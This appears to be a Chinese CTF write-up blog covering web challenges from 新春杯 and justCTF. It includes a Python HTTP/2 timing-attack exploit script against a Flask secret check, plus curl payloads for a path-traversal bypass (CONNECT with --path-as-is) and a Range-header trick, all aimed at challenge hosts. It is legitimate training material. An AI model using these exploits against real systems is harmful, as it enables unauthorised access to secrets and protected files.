新春杯+justCTF
首先是新春杯题目就离谱,很顶很顶,质量很高,然后这个比赛出不了东西之后又去打justctf了,感觉justCTF更友善一些(逃),膜了几位师傅,放两个大师傅传送门。
然后本来想几场比赛分开写,但是新春杯我真的搞不懂。。。。
borrow_time
前置知识
curl http2
所以我们使用命令可以抓取http2包
curl --http2-prior-knowledge
信息收集
先正常测试,端口,旁站,域名,抓包,wireshark等等,反正常见的信息收集都试了不行
curl http://8.140.110.118/ --output test
winhex打开看看
google发现确实有相关内容
看了一下这是http2的包
curl --http2-prior-knowledge http://8.140.110.118/
成功获取到内容,发现还有注释中还有/src目录,继续读,flask
代码审计
#!/usr/bin/env python
import os
import time
import hashlib
from flask import Flask, render_template, request
app = Flask(__name__)
FLAG = os.environ["ICQ_FLAG"]
SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]
SLEEP_TIME = 10 ** -10
@app.route("/", methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
secret = request.form['secret']
if len(secret) != len(SECRET):
return "^_^"
for a, b in zip(secret, SECRET):
if a == "*":
continue
elif a != b:
return "INCORRECT"
else:
time.sleep(SLEEP_TIME)
if "*" in secret:
return "INCORRECT"
return FLAG
@app.route("/src")
def src():
with open(__file__) as f:
return f.read()
代码量还是很少的,不难理解,就是要不以GET形式发送secret,并保证secret字段长度相等,并有*。其实搜一下就可以发现几乎是WCTF2020 Spaceless Spacing原题
搜索exp
编写exp
import os
import asyncio
import time
import string
import logging
from hyper import HTTP20Connection
from h2time import H2Time, H2Request
# Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
TIMING_ITERATIONS = 2 # 3
NUM_REQUEST_PAIRS = 10 # 20
SECRET_CHARSET = '1234567890abcdef'
COMPARISON_CHAR = "*" # This must not be in SECRET_CHARSET
target = '8.140.110.118:80'
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("exploit")
ua = 'h2time/0.1'
def get(resource):
logging.disable(logging.INFO)
try:
connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
connection.request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + resource)),
'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + resource)
return connection.get_response().read()
finally:
logging.disable(logging.DEBUG)
async def time_difference(a, b):
request_a = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + a)),
'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + a)
request_b = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + b)),
'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + b)
a_quicker_count = 0
b_quicker_count = 0
for _ in range(TIMING_ITERATIONS):
async with H2Time(
request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
) as h2t:
results = await h2t.run_attack()
b_quicker_count += len([result for result in results if result[0] < 0])
a_quicker_count += len([result for result in results if result[0] >= 0])
async with H2Time(
request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
) as h2t:
results = await h2t.run_attack()
a_quicker_count += len([result for result in results if result[0] < 0])
b_quicker_count += len([result for result in results if result[0] >= 0])
return a_quicker_count, b_quicker_count
async def exploit():
secret_length = 10
logger.info("")
logger.info(f"Secret Length: {secret_length}")
logger.info("")
secret = ""
for _ in range(secret_length):
start = time.time()
def spaced_secret_guess(guess):
return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)
tasks = {
char: asyncio.create_task(
time_difference(
spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
)
)
for char in SECRET_CHARSET
}
await asyncio.gather(*tasks.values())
lowest_char_quicker = None
lowest_char_quicker_count = float("inf")
for char, task in tasks.items():
comparison_quicker_count, char_quicker_count = task.result()
if char_quicker_count < lowest_char_quicker_count:
lowest_char_quicker = char
lowest_char_quicker_count = char_quicker_count
logger.info(
f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
)
secret += lowest_char_quicker
end = time.time()
logger.info("")
logger.info(f"Secret Progress: {secret}")
logger.info(f"Secret Progress took: {end - start}s")
logger.info("")
# correct = get(f"{secret}")
logger.info("")
logger.info(f"Secret: {secret}")
logger.info(f"Correct: {correct}")
logger.info("")
loop = asyncio.get_event_loop()
loop.run_until_complete(exploit())
loop.close()
脚本就是打不通,不知道为什么,吐了。问了L1near大师傅,可能是我本地的问题。然后因为有time.time_ns(),是python3.7以上才有的新特性,我vps和kali也打不了,只能这样了。。。
下面的题都是justctf里的,这比赛我好爱,全是技巧,满满的干货
Forgotten name
意思是要找到他的secret domain
首先我们看其他web题,url都为 .web.jctf.pro
所以我们找到一个Certificate Search网站
可以发现以6a开头的名称,hex解码,得到flag
Computeration
这道也挺离谱,一开始以为下面的链接真的就是向管理员报告,我说国外的比赛都这么人性化了,然后上面的url就是个前端,看了好久也没思路,结果。。。。
上图分别是两个url的界面,我们可以看到上面的url就是一个写note的界面,客户端做的。没什么东西,后面的url会发送我们传入的内容给admin,那么我们还是和之前博客的思路一样,在https://beeceptor.com/创建一个子域,检查传过来的http流量
(这里有个坑点,我用firefox+burp无论如何都会显示Captcha Error: invalid-input-response,换了chrome之后就好了)
看看Request Body
发现referer处会传来验证的url,我们curl一下,发现直接出现flag
主办方后面说了这是非预期解,因为在写Referrer-policy时手误,输入no-referer
而不是no-referrer
,导致输入unsafe-url
Go-fs
前置知识
curl --path-as-is选项
大致意思就是
curl --path-as-is会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段
CONNECT请求
观察文档发现,对于CONNECT请求,path和host都不会改变其内容
代码审计
虽然我不懂go语言,但是语言不都是相通的嘛,稍微看看也可以
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Served-by", VERSION)
w = &wrapperW{w}
fileServ.ServeHTTP(w, r)
})
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Served-by", VERSION)
w.Write([]byte(`No flag for you!`))
})
看到这里构造两个路由,访问flag会被阻止,所以我们思考通过怎么的方式可以绕过
payload
根据上述两个前置知识,搭配使用
payload:
curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag
关于另一种,也就是预期解,我复现一直失败,但是这种方法也可以记录一下
payload:
curl -v -H 'Range: bytes=--2' url